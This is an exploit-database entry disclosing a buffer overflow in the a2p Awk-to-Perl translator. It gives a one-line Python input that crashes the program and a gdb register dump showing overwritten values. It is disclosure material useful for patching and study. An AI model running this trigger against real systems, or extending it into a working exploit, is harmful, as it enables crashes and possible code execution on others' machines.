Awk to Perl 1.007-5 - Buffer Overflow (PoC)

EDB-ID:

45009

CVE:

N/A




Platform:

Linux

Date:

2018-07-11


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# Exploit Title: Awk to Perl 1.007-5 - Buffer Overflow (PoC)
# Author: Todor Donev
# Date: 2018-07-11
# Software: Linux Awk to Perl Translator '/usr/bin/a2p'
# Version: 1.007-5
# CVE: N/A
# Tested on: CentOS 6.9, Ubuntu 10

[todor@adamantium ~]$ python -c "print 'A' * 2070" | a2p > /dev/null
Segmentation fault
[todor@adamantium ~]$ gdb a2p --quiet
Reading symbols from /usr/bin/a2p...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install *SNIPED*
(gdb) r bof
Starting program: /usr/bin/a2p bof
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0074ee65 in fgets () from /lib/libc.so.6
(gdb) info reg
eax            0x1060	4192
ecx            0x1	1
edx            0x41414141	1094795585
ebx            0x880ff4	8916980
esp            0xbffff0f0	0xbffff0f0
ebp            0xbffff118	0xbffff118
esi            0x41414141	1094795585
edi            0x8062920	134621472
eip            0x74ee65	0x74ee65 <fgets+53>
eflags         0x210216	[ PF AF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)